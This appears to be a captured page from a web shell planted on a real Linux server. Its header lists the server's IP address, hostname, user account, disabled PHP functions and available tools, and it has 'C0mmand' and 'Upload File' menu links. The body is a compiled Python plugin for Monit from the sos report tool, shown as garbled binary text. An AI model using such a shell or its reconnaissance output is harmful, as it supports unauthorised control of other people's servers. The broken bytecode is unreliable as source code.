Server IP : 184.107.3.203 / Your IP : 216.73.216.51 Web Server : Apache System : Linux dedicated2.avenfashion.com.ph 4.18.0-553.40.1.el8_10.x86_64 #1 SMP Mon Feb 10 12:11:18 EST 2025 x86_64 User : adminteladeoro ( 1015) PHP Version : 8.2.28 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /usr/lib/python3.6/site-packages/sos/report/plugins/__pycache__/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
3 ~ �g� � @ s2 d dl m Z d dlmZmZ G dd� dee�ZdS )� )�glob)�Plugin�RedHatPluginc @ sN e Zd ZdZd ZdZdZed�Zej d� ej d� dgZ dd � Zd d� ZdS )�MonitzMonit monitoring daemon�monit�systemz/etc/monit.d/*z/etc/monit.confz/etc/monitrcz/var/log/monit.logc C s | j d� | j| j| j � d S )Nzmonit status)Zadd_cmd_outputZ add_copy_spec� monit_log� monit_conf)�self� r �/usr/lib/python3.6/monit.py�setup s zMonit.setupc C s0 x*| j D ] }| j|dd� | j|dd� qW d S )Nz(allow) (.*):(.*)z\1 ********:********z(username|password) (\w)+z\1 ********)r Zdo_file_sub)r �filer r r �postproc# s zMonit.postprocN)r )r ) �__name__� __module__�__qualname__Z short_descZpackagesZprofilesZplugin_namer r �appendr r r r r r r r s r N)r Zsos.report.pluginsr r r r r r r �<module> s